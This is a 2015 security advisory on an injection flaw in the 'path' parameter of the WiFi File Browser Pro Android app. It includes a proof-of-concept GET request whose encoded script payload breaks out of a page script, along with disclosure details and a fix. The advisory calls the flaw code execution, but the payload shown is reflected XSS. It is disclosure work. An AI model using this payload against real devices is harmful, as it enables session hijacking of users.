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WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability
WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
WiFi File Browser allows you to download and upload files to your mobile device by using your favourite web browser without
the need of a USB cable. The application main focus is to deliver high speed file transfer to users. Many user reviews state
that this is the fastest WiFi file transfer application
(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=pt.webprods.android.file.manager.pro )
Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered an arbitrary code execution vulnerability in the official WiFi File Browser Pro v2.0.8 (Android) mobile application.
Vulnerability Disclosure Timeline:
2015-01-14: Public Disclosure (Vulnerability Laboratory)
Product: WiFi File Browser - (Android) Web Application 2.0.8
Technical Details & Description:
An arbitrary code execution vulnerability has been discovered in the official Wifi File Browser Pro v2.0.8 (Android) mobile application.
The vulnerability allows remote attackers to execute malicious codes on the application-side of the vulnerable browser app to compromise
the target mobile device.
The vulnerability is located in the `path` value of the `browse` module. Remote attackers are able to manipulate the path value in the
browse GET method request to compromise the application, user session information or connected device components. The vector of the issue
is located on the application-side. Successful exploitation requires a client-side GET method request.
The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent
manipulation function or connected module context.
[+] Index of Documents (http://localhost:8080)
Proof of Concept (PoC):
The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
--- PoC Session Logs [GET] (Execution) ---
GET /browse?path=/_[ARBITRARY CODE EXECUTION VULNERABILITY!]&sfield=d&sorder=d HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept-Encoding: gzip, deflate
PoC: Wifi Browser
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<meta http-equiv="Content-Type" content="text/html; " />
<title>WiFi File Browser</title>
<link rel="stylesheet" type="text/css" media="screen" href="/style3.css" />
var currentPath = '%2F_%3C%2Fscript%3E%3Cscript%3Eprompt%28document.cookies%29%3C%2Fscript%3E[CS XSS]';
var currentPathNotEnc = '/_[ARBITRARY CODE EXECUTION VULNERABILITY!]';
var curSortOrder = 'd';
var curSortMethod = 'd';
var curThumbs = '';
Solution - Fix & Patch:
The vulnerability can be patched by a secure restriction of the path value in the browse GET method request.
Encode and parse the input and filter with an own exception-handling to prevent arbitrary code execution in client-side requests.
The security risk of the arbitrary code execution vulnerability in the wifi browser is estimated as high. (CVSS 7.1)
Credits & Authors:
Hadji Samir s-dz@xxxxxxxxxx
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